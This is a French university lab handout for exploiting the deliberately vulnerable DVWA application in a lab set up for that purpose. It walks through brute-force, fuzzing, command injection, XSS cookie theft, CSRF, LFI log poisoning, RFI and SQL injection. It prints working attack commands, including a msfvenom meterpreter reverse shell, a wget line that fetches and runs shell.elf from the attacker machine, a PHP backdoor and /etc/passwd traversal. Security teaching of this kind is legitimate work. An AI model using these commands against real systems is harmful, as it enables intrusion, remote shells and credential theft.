UE Cybersecurite-TP DVWA v0.6 [PDF]

Zitiervorschau

DVWA

Identification du document Référence

Ue_Cybersécurité-Dvwa.Docx

Date de création

28/10/2017

Rédaction (R)

BERTRAND Cédric

Version

V 0.6

Nombre de pages

58

Historique du document Version V 0.1 V 0.2 V 0.3 V 0.4 V 0.5 V 0.6

Date 28/10/2017 12/11/2017 27/10/2018 30/10/2018 05/11/2018 09/11/2018

Auteur Cédric BERTRAND Cédric BERTRAND Cédric BERTRAND Cédric BERTRAND Cédric BERTRAND Cédric BERTRAND

Commentaires Initialisation du document Modifications Modifications Modifications Modifications Modifications

Liens de référence DVWA : Solutions, explications et étude des protections

https://www.information-security.fr/dvwa-sql-injection-solutionsprotections/

UE Cybersécurité

DVWA

09/11/18

Sommaire 1

Objet du document ......................................................................................................... 4

2

DVWA ............................................................................................................................ 4 2.1 Outils ....................................................................................................................... 4 2.2 Configuration de DVWA .......................................................................................... 6

3

Cartographie de la machine DVWA ................................................................................ 7 3.1 Détecter la machine ................................................................................................ 7 3.2 Faire un scan de vulnérabilités ................................................................................ 8

4

Exploitation de vulnérabilités .........................................................................................10 4.1 Brute-force .............................................................................................................10 4.1.1 Description ......................................................................................................10 4.1.2 Exploitation .....................................................................................................11 4.2 Découvrir les ressources cachées (fuzzing) ...........................................................14 4.2.1 Description ......................................................................................................14 4.2.2 Exploitation .....................................................................................................14 4.3 Exécution de commandes ......................................................................................17 4.3.1 Description ......................................................................................................17 4.3.2 Exploitation .....................................................................................................19 4.3.2.1 Exploitation simple ...................................................................................19 4.3.2.2

Exploitation avancée ................................................................................19

4.4 XSS........................................................................................................................20 4.4.1 Description ......................................................................................................20 4.4.2 Exploitation .....................................................................................................22 4.4.2.1 Exploitation simple ...................................................................................22 4.4.2.2

Exploitation avancée ................................................................................23

4.5 CRSF .....................................................................................................................25 4.5.1 Description ......................................................................................................25 4.5.2 Exploitation .....................................................................................................25 4.5.2.1 Exploitation simple ...................................................................................25 4.5.2.2

Exploitation avancée ................................................................................27

4.6 La faille LFI (Local File Injection) ............................................................................29 4.6.1 Description ......................................................................................................29 4.6.2 Exploitation .....................................................................................................30 4.6.2.1 Exploitation simple ...................................................................................30 4.6.2.2

Exploitation avancée ................................................................................31

4.7 La faille RFI (Remote File Inclusion) .......................................................................37 4.7.1 Description ......................................................................................................37 4.7.2 Exploitation .....................................................................................................37 4.7.2.1 Exploitation manuelle ...............................................................................37 4.7.2.2

Exploitation automatisée ..........................................................................37

4.8 SQL Injection..........................................................................................................39 4.8.1 Description ......................................................................................................39 4.8.2 Exploitation .....................................................................................................40 4.8.2.1 Exploitation manuelle ...............................................................................40 4.8.2.2 5

Exploitation automatisée ..........................................................................44

Blind SQL Injection ........................................................................................................47

Classification : Public

2 / 58

UE Cybersécurité

DVWA

09/11/18

5.1 Description .............................................................................................................47 5.2 Exploitation ............................................................................................................48 5.2.1 Exploitation simple ..........................................................................................48 5.3 Upload....................................................................................................................51 5.3.1 Description ......................................................................................................51 5.3.2 Exploitation .....................................................................................................51 5.3.2.1 Exploitation simple ...................................................................................51 5.3.2.2 6

Exploitation avancée ................................................................................52

Aller plus loin .................................................................................................................56 6.1 Comptes faibles FTP ..............................................................................................56 6.2 Elévation de privilèges ...........................................................................................56 6.2.1 Description ......................................................................................................56 6.2.2 Exploitation .....................................................................................................56 6.2.2.1 Exploitation simple ...................................................................................56 6.2.2.2

Exploitation avancée ................................................................................57

Classification : Public

3 / 58

UE Cybersécurité

DVWA

09/11/18

1 Objet du document Ce document a pour objet de présenter les techniques d’exploitation offensive. L’objectif est de découvrir et d’expérimenter des techniques d’exploitation avancées avec l’application vulnérable DVWA. Note n° 1: vous trouverez surlignées en vert, les méthodes/techniques à connaitre pour réaliser le prochain TP noté. Note n°2 : les techniques d’exploitation avancée sont réservées aux personnes qui ont un niveau avancé. Si c’est votre première expérience avec le pentest, débutez par les techniques d’exploitation simples.

2 DVWA DVWA est une application web qui contient de nombreuses vulnérabilités. Elle est destinée aussi bien aux professionnels de la sécurité qu’aux personnes souhaitant s’entraîner ou voulant en apprendre plus sur les attaques Web, de tester des techniques d’attaques dans un environnement légal.

2.1 Outils Pour effectuer ce tp, voici la liste des outils utilisés. Pour plus de simplicité, il est conseillé d’utiliser la distribution Kali. Burp : intégré avec Kali Nessus : https://www.tenable.com/products/nessus-vulnerability-scanner Metasploit : intégré avec Kali Sqlmap : intégré avec Kali Beef : intégré avec Kali WSO (webshell) : https://github.com/tennc/webshell/blob/master/php/wso2.5.1.php Fuzz_common.txt : Fichier qui contient les repertoires et les fichiers les plus utilizes sur un serveur web Linuxprivchecker : script python utilisé pour l’élévation de privilèges

Iso Kali (iso) : https://www.kali.org/ DVWA : https://github.com/ethicalhack3r/DVWA (télécharger l’ISO de dvwa pour plus de simplicité)

Classification : Public

4 / 58

UE Cybersécurité

DVWA

09/11/18

Configurer virtualbox (ou tout autre logiciel de virtualisation) pour que kali et dvwa soit sur le même sous réseau local. Configurer la carte locale sur voboxnet0 (réseau interne de virtualbox)

Bien vérifier que le serveur dhcp est activé sur le réseau interne de Virtualbox (vboxnet)

Une fois la machine dvwa lancée, vous pouvez taper la commande « ipconfig » pour vérifier sa configuration IP :

Classification : Public

5 / 58

UE Cybersécurité

DVWA

09/11/18

2.2 Configuration de DVWA Installer la base de données dvwa (http:///setup.php -> Create Database)

Puis se connecter à l’interface de dvwa (http://). L’identifiant est « admin » et le mot de passe « password ».

Classification : Public

6 / 58

UE Cybersécurité

DVWA

09/11/18

Puis configurer dvwa avec le niveau de sécurité « low » -> Onglet DVWA Security

Maintenant DVWA est configuré.

3 Cartographie de la machine DVWA 3.1 Détecter la machine Faites un scan nmap pour détecter les services de la machine Nmap –p22,80,443 –sV –sC

Classification : Public

7 / 58

UE Cybersécurité

DVWA

09/11/18

3.2 Faire un scan de vulnérabilités Faire un scan de vulnérabilités avec Nessus 1- Faire un scan nessus par défaut (sans configurer d’options) 2- Refaire un scan avec les options ci-dessous Options : -

sélectionner « advanced scan »

-

sélectionner scan des applications web

-

sélectionner le brute-force des comptes (dé-sélectionner la case « only use credentials provided by the user »)

Classification : Public

8 / 58

UE Cybersécurité

DVWA

09/11/18

Technique avancée 3- Une fois le scan réalisé, refaire un scan nessus en indiquant un cookie de session avec la sécurité de dvwa activée à Low. (pour se faire, authentifiez-vous sur dvwa, configurer le sécurité au niveau Low, puis enregistrez le cookie de session)

Figure 1 Récupération du cookie

Figure 2 Enregistrer le cookie dans un fichier texte et le configurer pour que nessus l'utilise

Quelles sont les différences entre les 3 scans ? Classification : Public

9 / 58

UE Cybersécurité

DVWA

09/11/18

4 Exploitation de vulnérabilités L’exploitation des vulnérabilités doit être réalisée avec Burp. Le document « UE_Cybersecurite-Burp_v0.2 » vous aidera à configurer dvwa avec Burp si besoin.

4.1 Brute-force 4.1.1 Description Les attaques de type “brute force” portent bien leur nom, il s’agit de tester une très grande quantité de mots de passe pour un utilisateur donné, en présumant (avec certitude si l’on dispose d’énormément de temps) que l’on tombera un jour sur le bon. La plupart des processus d’authentification aujourd’hui demandent au minimum deux informations : - Un login - Un mot de passe Les logins peuvent être faciles à trouver, la plupart des applications et logiciels disposent souvent d’un compte d’administration “admin“, “root” ou “administrateur“. Dans d’autres cas, les logins des utilisateurs peuvent être trouvés en faisant quelques recherches, un nom de session Windows ou le nom des auteurs d’articles sur un blog (type CMS, WordPress), etc. Une attaque par brute force est très simple à mettre en place lorsqu’il n’y a pas de protectoin, on peut la schématiser comme suivant :

L’idée est donc que, si l’on peut proposer un nombre infini de réponse, on tombera forcément sur la bonne à un moment donné. Il faut savoir qu’il existe deux types d’attaque par brute force : 

Avec dictionnaire : Dans ce cas, on se base sur une liste de mots, appelée dictionnaire, pour générer notre attaque. Plus précisément, nous allons par exemple prendre la liste des 100 mots de passe les plus utilisés et mettre cela dans un fichier. Pour chaque login connu, nous allons tenter de nous authentifier avec ces 100 mots de passe (un par un) en supposant qu’un utilisateur sera susceptible d’avoir mis un de ces mots de passe. Les dictionnaires peuvent être variés, être composés de noms propres à une application, un contexte, une entreprise ou au contraire être composés de tous les mots

Classification : Public

10 / 58

UE Cybersécurité



DVWA

09/11/18

de passe dit “faibles” que les utilisateurs sont susceptibles d’utiliser (Exemple : Love, God, Soleil, password123, …). Sans dictionnaire : Ici, nous n’avons aucune information, il faut donc tester une à une toutes les possibilités, mélanger les caractères alphanumériques, les caractères spéciaux, etc. Par exemple, on va tester “aa“, puis “ab“, etc., puis passer à “aaa“, “aab“, une fois que toutes les chaînes à deux caractères auront été tentées. Cela fait bien entendu un nombre infini de possibilités qu’il est possible de cadrer en fonction des informations dont on dispose, par exemple si l’on sait que l’application force l’utilisation de mot de passe entre 8 et 10 caractères sans caractères spéciaux.

Au delà d’utiliser un très grand nombre de possibilités, il est également courant que les mots de passe utilisés soient ceux par défaut. Alors, il est inutile de déployer les grands moyens, et tester les mots de passe par défaut les plus répandus suffit. Exemple : “admin“, “password“, “root“, “toor“, ou le nom de l’application.

4.1.2 Exploitation Essayer de découvrir le mot de passe de l’utilisateur « admin ». Capturer une authentification avec Burp. Nous allons utiliser le module Intruder qui permet de répéter une action plusieurs fois (exemple : essayer plusieurs mots de passe)

Classification : Public

11 / 58

UE Cybersécurité

DVWA

09/11/18

Dans cet écran, on choisit la variable que l’on souhaite tester. Sur l’écran, le mot « pass » est en surbrillance car c’est celui que nous voulons tester:

Allons ensuite sur l’onglet « payload » : utiliser la wordlist « weaksauce.txt » fournie avec ce tp.

Classification : Public

12 / 58

UE Cybersécurité

DVWA

09/11/18

Pour brute-forcer une authentification htaccess, vous pouvez consulter ce lien : http://www.dailysecurity.net/2013/03/22/http-basic-authentication-dictionary-and-brute-forceattacks-with-burp-suite/

Classification : Public

13 / 58

UE Cybersécurité

DVWA

09/11/18

4.2 Découvrir les ressources cachées (fuzzing) 4.2.1 Description Un fuzzer est un logiciel qui va faire du fuzzing, c’est-à-dire de l’injection de données pseudo-aléatoire dans les entrées d’un programme pour voir sa réaction. Le fuzzing web permet de déterminer les répertoires et fichiers qui peuvent être vus depuis l’extérieur de votre application web. Il est possible de lister un ensemble de pages ou de dossiers sur un serveur ou une application web. Autrement dit, il s’agit d’un scanner de répertoires et de page web, En opérant par brute force il est possible de détecter la présence de répertoires, de fichiers, de mots ou de code hexa dans la réponse de la machine cible. Exemple de web fuzzing avec le logiciel wfuzz :

Liens : http://thpierre.developpez.com/articles/fuzzing/

4.2.2 Exploitation Découvrir des répertoires cachés sur l’application DVWA avec Burp. Pour cela, vous pouvez utiliser le fichier « fuzz_common_tp.txt » qui contient le nom des répertoires et fichiers les plus communs sur un serveur web.

Classification : Public

14 / 58

UE Cybersécurité

Classification : Public

DVWA

09/11/18

15 / 58

UE Cybersécurité

DVWA

09/11/18

Nous venons de découvrir l’existence de plusieurs répertoires (config, docs, external, phpmyadmin, etc.)

Classification : Public

16 / 58

UE Cybersécurité

DVWA

09/11/18

4.3 Exécution de commandes 4.3.1 Description Les failles de type “command execution” consistent en le fait qu’un attaquant puisse exécuter des commandes et plus précisément du code depuis l’application web ciblée. Le principe est donc que l’attaquant va utiliser les composants de l’application pour exécuter du code sur le serveur, code qu’elle n’est normalement pas censée exécuter. Cela est généralement intéressant pour un attaquant car il peut alors exécuter des commandes directement sur le serveur et utiliser cela comme un premier point d’entrée. Il est à noter que dans le cas d’une telle attaque, les commandes sont exécutées avec les droits et les privilèges de l’application web qui les exécute. On voit alors grandement l’intérêt de faire tourner un serveur web avec des droits autres que ceux de “root“. L’exécution de commande à distance dans une application web tournant avec les droits de “root” permettrait à l’attaquant d’avoir directement tous les droits sur la machine cible. Si un compte avec des droits plus restreints est utilisé (exemple : apache ou www-data), l’attaquant n’aura que ces droits restreint via l’exécution des commandes. Dans cet exercice, nous pouvons exécuter un ping sur l’adresse ip que nous souhaitons.

Néanmoins en Linux, il est possible « d’enchainer les commandes » au sein d’une même commande. Par exemple, je peux afficher le contenu d’un fichier et au sein du résultat ne garder que les lignes qui m’intéressent. Je souhaite par exemple afficher les mots de passe du fichier « weaksauce.txt » et ne garder que les mots de passe qui contiennent le mot « pass » (commande « cat » affiche le contenu du fichier, la commande « grep » garde uniquement les lignes avec un mot-clé choisi:

Pour plus d’informations sur l’enchainement des commandes sous Linux, vous pouvez consulter cet article : https://www.it-connect.fr/lenchainement-des-commandes-souslinux%EF%BB%BF/

Classification : Public

17 / 58

UE Cybersécurité

DVWA

09/11/18

Nous allons par exemple utiliser le "&&" pour enchainer des commandes Le « && » Il est parfois utile d'exécuter une commande que si les commandes précédentes ont réussies. Par exemple si l'on souhaite vérifier l'existence d'un dossier et, s’il existe, y créer un fichier : cd /home/~/dossier1 && touch file1 Ici, si la commande "cd /home/~/dossier1" ne s'exécute pas correctement (que le dossier n'existe pas), la commande "touch file1" qui créer un fichier vide ne s'exécutera pas non plus et par conséquent ne déclenchera pas de message d'erreur. Linux enregistre un paramètre à chaque exécution de commande (comme un flag) qui peut être récupéré dans un script (par exemple). Ce paramètre se met à "0" si la commande s'est executée correctement et à "2" (dans la plupart des cas) quand la commande à échouée. Pour déterminer si une commande a bien réussie, Linux analyse ce paramètre et, dans le cas d'un "0" avec un enchainement de commande "&&", il exécute la commande suivante. Si le paramètre en question est "2", c'est que la commande précédente ne s'est pas correctement déroulée et il met donc fin à l'exécution des prochaines commandes.

Nous allons utiliser le « && » pour exécuter une commande :

Classification : Public

18 / 58

UE Cybersécurité

DVWA

09/11/18

4.3.2 Exploitation 4.3.2.1 Exploitation simple Afficher le fichier /etc/passwd. Essayer d’afficher le contenu du fichier /etc/shadow ; Cela marche-t-il ? Pourquoi ?

4.3.2.2 Exploitation avancée L’idée est de générer un webshell meterpreter avec metasploit, de l’uploader sur le serveur et de récupérer un shell sur la machine vulnérable. Méthodo  Générer un meterpreter avec msfvenom o msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.32 LPORT=4444 -f elf > shell.elf  Rendre ce binaire accessible à distance o Créer un répertoire web accessible depuis son poste: python -c 'import SimpleHTTPServer;SimpleHTTPServer.test()' 7777 o Ou faire python -m SimpleHTTPServer 7777  Congurer metasploit pour le mettre en attente de connexion o use exploit/multi/handler o set PAYLOAD o set LHOST (votre machine) o set LPORT o set ExitOnSession false o exploit -j -z o jobs  executer la commande suivante sur la cible o wget -q http://192.168.1.32:7777/shell.elf -O /tmp/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf  si tout va bien, meterpreter sur la cible 

Classification : Public

19 / 58

UE Cybersécurité

DVWA

09/11/18

4.4 XSS 4.4.1 Description Les failles de type XSS sont parmi les failles les plus répandues dans les applications et sites web, elles sont d’ailleurs en troisième position dans l’OWASP Top Ten Vulnerability 2013 . Une faille XSS va permettre à un attaquant d’exécuter du code JavaScript dans les navigateurs des utilisateurs des applications et sites web visés, cela en jouant sur les données renvoyées par l’application web aux clients. L’exécution et les possibilités de code Javascript permettent d’effectuer des actions malveillantes chez les victimes, qui ne sont dans ce cas pas les applications et les serveurs web, mais leurs visiteurs. Parmi ces possibilités, on retrouve le vol de cookies / sessions, le défacement de site web ou encore la redirection des utilisateurs vers des URL malveillantes (téléchargement de virus, phishing). Il est toutefois à noter qu’il en existe deux types, les failles XSS réfléchies (comme un miroir) et les failles XSS stockées. La particularité des failles XSS réfléchies (reflected) est qu’elles ne sont pas permanentes, cela signifie que le code malveillant que l’attaquant souhaite exécuter sur les navigateurs des victimes n’est pas stocké dans l’application web mais est propre à la requête/réponse entre le serveur web et la victime. Nous avons déjà vu certains contextes où l’application web nous renvoie un mot ou une phrase que nous avons saisi dans un formulaire. Le cas le plus classique étant un formulaire de recherche. Si l’on recherche tous les articles de “John“, la page retour contiendra quelque chose comme “Voici les articles de John” . On voit alors que la page affichée est propre à la requête (la recherche faite par l’utilisateur). Pour les failles XSS réfléchies, on retrouve ce fonctionnement car le code JavaScript à exécuter va être positionné par l’attaquant dans l’URL ou les paramètres que la victime va passer en requête au serveur. Voici un schéma de principe reprenant le fonctionnement d’une attaque XSS réfléchie :

Ici, nous voyons donc que le pirate arrive à persuader sa victime d’aller cliquer sur un lien, ce lien est une URL exploitant une faille XSS sur l’application web en question et va permettre Classification : Public

20 / 58

UE Cybersécurité

DVWA

09/11/18

l’exécution de code JavaScript afin de, par exemple, récupérer son cookie de connexion afin de le renvoyer vers le pirate, ce qui est une des possibilités du JavaScript. Lien : https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/

Si l’on utilise une balise (balise html pour mettre un titre), on constate que le code est interprété par l’application :

Nous constatons que nous pouvons aussi exécuté du code javascript. Exemple avec : «

Classification : Public

21 / 58

UE Cybersécurité

DVWA

09/11/18

Si l’on exécute la commande : . Nous récupérons le cookie de l’utilisateur :

Ce cookie peut ensuite être ré-utilisé pour usurper la session de l’utilisateur.

4.4.2 Exploitation 4.4.2.1 Exploitation simple Récupérer le cookie de l’utilisateur et l’utiliser pour ouvrir une autre session Lien : https://www.go4expert.com/articles/stealing-cookie-xss-t17066/ Nous allons tenter d’usurper l’identité de l’utilisateur en volant ses identifiants de session (cookie). L’idée est d’exécuter le code suivant. :

Classification : Public

22 / 58

UE Cybersécurité

DVWA

09/11/18

Ce script réalise une requête afin de récupérer une image non existante (new Image().src), : il s’agit d’un subterfuge afin de voler l’ensemble des cookies associés au domaine courant. Le serveur envoie alors le cookie à la machine attaquante (192.168.1.32) et il est alors possible de générer un cookie dans son navigateur afin d’accéder au compte de la victime.

Il suffit ensuite de copier le cookie dans le navigateur pour « usurper » l’identité de l’utilisateur (utilisez un éditeur de cookie et changer les valeurs)

4.4.2.2 Exploitation avancée 4.4.2.2.1 Coupler une XSS avec une vulnérabilité CRSF Utiliser une vulnérabilité XSS pour exploiter la vulnérabilité CRSF et ainsi automatiquement changer le mot de passe d’un utilisateur

4.4.2.2.2 Beef Beef est un framework permettant d’exploiter les vulnérabilités de type XSS et de réaliser de nombreuses actions comme :      

Récupération d’informations Vol de cookies (évidemment) Keylogger Liste des sites/domaines visités Fingerprint du navigateur (OS, plugins…) Webcam !

Classification : Public

23 / 58

UE Cybersécurité

DVWA

09/11/18

Utiliser le framework Beef pour exploiter la vulnérabilité XSS Lien : http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xssframework/#sthash.Q1ONzRjc.dpbs

Classification : Public

24 / 58

UE Cybersécurité

DVWA

09/11/18

4.5 CRSF 4.5.1 Description Les attaques de type cross-site request forgery (ou CSRF) sont mal connues et trop souvent non prises en compte par les développeurs de sites Internet. Elles sont également souvent confondues avec les attaques de type injection de code indirecte (cross-site scripting ou XSS) alors que le principe est quelque peu différent (voir CERTA-2002-INF-001). En français, un cross-site request forgery est une injection de requête(s) illégitime(s) par rebond. Concrètement, pour un attaquant, cela consiste à effectuer des opérations sur un site sans le consentement d’un utilisateur. L’attaque consiste à provoquer l’envoi de requêtes (par exemple, GET ou POST) par une victime vers un site vulnérable (V), à son insu et en son nom (cf. figures 1 et 2). L’envoi des requêtes se fait lorsque la victime visite un site malveillant ou compromis (M), ou clique sur un lien. L’attaque cible toujours un ou plusieurs sites en particulier qui sont vulnérables. Le CSRF se fait toujours en aveugle, car l’attaquant provoque l’envoi d’une ou plusieurs requêtes sans obtenir de réponse.

Figure 3 L’attaquant envoie un courriel qui provoque l’envoi d’une requête illégitime

Figure 4 La visite d’un site malveillant provoque l’envoi d’une requête illégitime

On peut distinguer deux types d’attaques : celles qui profitent d’une authentification déjà établie sur le site (V) (session riding ou détournement de session) et celles qui vont forcer une authentification sur ce site.

4.5.2 Exploitation 4.5.2.1 Exploitation simple On commence tout d’abord par capturer la requête de changement de mot de passe avec Burp

Classification : Public

25 / 58

UE Cybersécurité

DVWA

09/11/18

L’idée est de faire exécuter cette requête à un utilisateur à qui l’on souhaite changer le mot de passe. Pour cela, on va créer une simple page html qui contiendra notre requête. L’idée sera ensuite d’inciter (ou de forcer) l’utilisateur à visiter cette page (envoi d’un courriel, faille xss, etc.). Code de la page csrf.html :

csrf



L’ouverture de la page dans le navigateur web provoque la requête de changement du mot de passe.

Classification : Public

26 / 58

UE Cybersécurité

DVWA

09/11/18

4.5.2.2 Exploitation avancée L’idée est d’exploiter une faille xss (plus de détails sur cette vulnérabilité sont présents ici) pour automatiser le changement de mot de passe. Si on reprend la requête pour le changement de mot de passe (http://192.168.0.77/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Ch ange=Change ) et l’exploitation de la faille xss, on obtient :

En exécutant ce script, une requête de changement de mot de passe est alors réalisée de manière « invisible » :

Classification : Public

27 / 58

UE Cybersécurité

DVWA

09/11/18

Le changement de mot de passe a été exécuté de manière automatisée.

Classification : Public

28 / 58

UE Cybersécurité

DVWA

09/11/18

4.6 La faille LFI (Local File Injection) 4.6.1 Description Une faille de type “File Inclusion” consiste en la possibilité d’inclure un fichier du système. Plus précisément, cela consiste en le fait d’utiliser l’application et ses fonctionnalités afin de charger des pages et des fichiers spécifiques, des fichiers internes aux serveurs qui n’ont normalement pas à être lus par les clients du serveur web (faille LFI pour Local File Inclusion), mais également des pages web externes au serveur web si le serveur web est configuré pour (ce que l’on appelle une faille RFI pour Remote File Inclusion). Outre le fait que l’application puisse alors être utilisée afin de charger des pages et fichiers qu’elle n’est pas censée traiter, une faille de type File Inclusion peut amener à :  Une exécution de code côté serveur, un code maîtrisé par le pirate  Un déni de service, si l’on essaie par exemple de faire charger une ressource très importante sur une page web  La fuite d’informations sensibles, ce qui est notamment le cas lorsque l’on utilise une faille de type File Inclusion pour lire des fichiers internes aux serveurs Détaillons un peu le concept même de l’attaque. Certaines applications sont construites de façon à recevoir en paramètre un fichier pouvant être exécuté, par exemple :

http://serveur/affichage.php?fichier=index.php

Ici, nous avons donc un script php “affichage.php” qui attend comme paramètre un nom de fichier. On imagine donc que si on lui demande d’afficher “index.php” ou “index“, il va aller chercher dans l’arborescence actuelle le fichier “index.php” puis l’exécuter pour l’afficher dans la page. Le fait est que si on demande maintenant au script “affichage.php” d’afficher un fichier disponible sur un répertoire au dessus de lui-même, par exemple ../fichier2.html (en supposant qu’il existe) :

http://serveur/affichage.php?fichier=../fichier2.html

On voit donc que l’on commence tout doucement à jouer avec l’arborescence interne du serveur. Si l’on décide de remonter l’arborescence complète du serveur, c’est tout à fait possible :

http://serveur/affichage.php?fichier=../../../../../../etc/pas swd

Classification : Public

29 / 58

UE Cybersécurité

DVWA

09/11/18

Ici, quand une faille de type LFI est présente, on peut directement afficher le contenu de certains fichiers sensibles comme par exemple le fichier /etc/passwd. Par extension, une faille de type RFI consiste en la même opération sauf que l’on demande à “affichage.php” d’aller chercher une ressource (image, fichier texte ou page HTML) qui se situe sur un autre site. Il agira donc en tant que client web pour charger l’image et l’inclure dans son code de rendu.

4.6.2 Exploitation 4.6.2.1 Exploitation simple 4.6.2.1.1 Avec Burp Utiliser Burp pour récupérer le contenu du fichier /etc/password

4.6.2.1.2 Avec metasploit Exploiter la vulnérabilité avec Metasploit pour obtenir un shell sur la machine cible Générer un webshell meterpreter : msfvenom -p php/meterpreter/bind_tcp LPORT=4000 > php_backdoor.php Module metasploit : use exploit/unix/webapp/php_include

Classification : Public

30 / 58

UE Cybersécurité

DVWA

09/11/18

4.6.2.2 Exploitation avancée 4.6.2.2.1 Utilisation de fimap Le logiciel fimap qui permet exploiter automatiquement une vulnérabilité de type LFI pour obtenir un accès shell (disponible sous Kali) Option -X c’est pour exploiter une faille et obtenir un shell

python fimap.py --cookie="PHPSESSID=djonatc93aihcpcgpet1rbqtu7; security=low" "http://192.168.1.77/vulnerabilities/fi/?page=" –X

-u

Le paramètre “–X” sert à lancer l’exploitation de la vulnérabilité pour obtenir un shell.

4.6.2.2.2 Exploitation via les logs L’idée est « d’injecter » des commandes php dans les journaux d’événements, puis de lire ceux-ci afin que nos commandes soient exécutées. Pourquoi les journaux d’événements et pas un autre fichier ? Tout simplement parce que nous avons besoin d’écrire dans un fichier (pour injecter nos commandes) puis de lire le fichier. Or chaque accès au serveur web est enregistré dans les journaux d’événements, et que de base l’utilisateur www-data a un accès en lecture aux journaux d’événements du serveur web.

Classification : Public

31 / 58

UE Cybersécurité

DVWA

09/11/18

La première étape est tout d’abord de déterminer quel est le chemin des journaux d’événements pour ensuite pouvoir afficher le contenu du fichier. Pour cela, on va tester les emplacements les plus communs des journaux d’événements du serveur web et vérifier si on a un accès. Sous cette version de dvwa (qui utilise lampp et non pas apache), le chemin des accès web est : /opt/lampp/logs/access_log (note : ce fichier a été découvert par le fuzzing de fichiers en exploitant la vulnérabilité LFI)

http://192.168.1.77/vulnerabilities/fi/?page=/opt/lampp/logs/access_log

Chaque accès au serveur web est enregistré dans ce fichier, maintenant on va chercher à y injecter des commandes puis de lire le fichier afin que les commandes soient exécutées. C’est comme si on écrivait des commandes dans un fichier texte puis qu’on lisait ce fichier avec un interpréteur pour les exécuter. Là c’est ce qu’on va faire avec des commandes php. L’idée est donc d’écrire les commandes que nous souhaitons exécuter dans les journaux d’événements du serveur puis de lire ce fichier afin que nos commandes soient lues et exécutées. Comment faire ? Regardons le format d’enregistrement d’un accès dans le journal d’événement : Le format d’enregistrement est donc le suivant : La seule variable « facile » à contrôler dans ce format est l’url accédée.

Classification : Public

32 / 58

UE Cybersécurité

DVWA

09/11/18

Nous allons donc injecter nos commandes php via l’url. La commande qu’on cherche à injecter est la suivante :

On se connecte au serveur et on demande une page qui n’existe pas avec notre commande : nc 80 GET /h HTTP/1.1

Dans le fichier des accès web du serveur, nous avons notre commande injectée qui a été enregistrée et qui n’attend plus qu’à être exécutée. On lit alors le fichier et on passe notre commande en paramètre (cmd=)

On demande l’accès au fichier des accès web (en indiquant la commande à exécuter encodée en base 64) : GET /vulnerabilities/fi/?page=/opt/lampp/logs/access_log&cmd=Y2F0IC9ldGMvcGFzc3dk

(la commande cat /etc/passwd a été encodée en base 64). Le résultat de la commande (cat /etc/passwd) est alors affiché

Classification : Public

33 / 58

UE Cybersécurité

DVWA

09/11/18

On peut ensuite utiliser cette technique pour obtenir un accès au serveur. 4.6.2.2.3 Exécution de commandes via les wrappers La fonctionnalité suivante est généralement assez peu connue dans PHP. En effet, PHP propose une librairie permettant de gérer différents types de flux I/O (appelé aussi “stream”) via un protocole interne nommé « php:// »1 Une manière d’inclure un flux dans PHP via le Wrappers : “php://input”. Comme le souligne la documentation de PHP, il est possible de passer un flux (url encodé) en paramètre HTTP POST (correspondant ici à la charge utile où “payload”) grâce à php://input.

Réponse de l’application :

1

http://php.net/manual/fr/wrappers.php

Classification : Public

34 / 58

UE Cybersécurité

DVWA

09/11/18

Il est aussi possible d’utiliser le module web_delivery2 de metasploit pour obtenir un accès sur la cible (via meterpreter)

Ce module délivre une commande à exécuter sur la cible et permet d’uploader un meterpreter en reverse-shell. Metasploit est en attente d’ouverture de session (comme pour la vulnérabilité « exécution de commandes » en début de document :

Pour l’exploiter via la vulnérabilité citée, on encode la commande en base 64 :

Et on l’exécute via la commande php://input :

2

https://www.offensive-security.com/metasploit-unleashed/web-delivery/

Classification : Public

35 / 58

UE Cybersécurité

DVWA

09/11/18

La requête exécutée, metasploit qui était en attente de connexion, s’occupe du reste :

Classification : Public

36 / 58

UE Cybersécurité

DVWA

09/11/18

4.7 La faille RFI (Remote File Inclusion) 4.7.1 Description Cette faille est une extension de la faille LFI. Au lieu d’inclure un fichier local, il est possible de passer en paramètre une url pointant vers un script malicieux développé par un pirate.

http://localhost/rfi.php?page=http://serveurpirate.net/exploit.php Ce script sera récupéré par l’application et exécuté puis rendu dans la page résultante.

4.7.2 Exploitation 4.7.2.1 Exploitation manuelle Il est possible d’exploiter cette vulnérabilité pour exécuter un webshell et prendre le contrôle du serveur. http:///vulnerabilities/fi/index.php?page=http:///webshell.php Exemple d’une injection rfi ci-dessous

4.7.2.2 Exploitation automatisée Il est possible d’utiliser le module php_include avec metasploit pour uploader et exécuter un meterpreter sur la cible.

Classification : Public

37 / 58

UE Cybersécurité

DVWA

09/11/18

Ne pas oublier d’indiquer les cookies.

Classification : Public

38 / 58

UE Cybersécurité

DVWA

09/11/18

4.8 SQL Injection 4.8.1 Description Les failles de type SQL Injection sont parmi les failles les plus courantes et les plus dangereuses dans le domaine des applications web. Les injections SQL sont notamment dangereuses car elles permettent d’accéder, dans certains contextes, à la quasi totalité des informations contenues dans la base de données d’une application web, nous en entendons souvent parler lors de piratages ayant entraîné des exfiltrations de données, notamment des données utilisateurs (noms, mails, numéros de carte bleu, mots de passe). Lorsqu’une application web cherche des informations à traiter et/ou à afficher, elle va la plupart du temps les chercher dans une base de données, locale ou distante. Alors, elle est obligée de passer par une ou plusieurs requêtes SQL (Structured Query Language). Par exemple si, dans un formulaire de recherche, je cherche tous les articles de l’auteur “bob“, je vais envoyer une URL comme celle-ci au serveur web :

http://serveur.fr/search.php?s=bob

Le serveur web va alors utiliser ce paramètre afin d’effectuer une recherche dans une base de données, qui contient un ensemble d’informations sur les articles et leurs auteurs, une requête de ce type :

SELECT auteur, article FROM site.articles where auteur = "bob" .

La requête obtient alors un ensemble de données en retour, données qui vont être mises en forme par PHP et retournées sous forme de page HTML au client web. Le principe d’une injection SQL va donc être d’utiliser la requête SQL faite par le code PHP afin de lire ou d’écrire des informations en base de données, cela n’étant évidemment pas prévu par le développeur de l’application web. Par contre il est nécessaire d’avoir quelques bases du langage SQL afin d’exploiter ce genre de faille. On peut généralement exfiltrer une très grande quantité de données lorsqu’une faille SQL injection est exploitée. Il est à noter que l’on retrouve également un principe de cloisonnement important. Si l’application web requête la base de données avec un identifiant tel que “root” ou un utilisateur ayant des droits de lecture/écriture sur d’autres bases de données, il sera alors également possible de les requêter. Sinon utiliser sqlmap.

Classification : Public

39 / 58

UE Cybersécurité

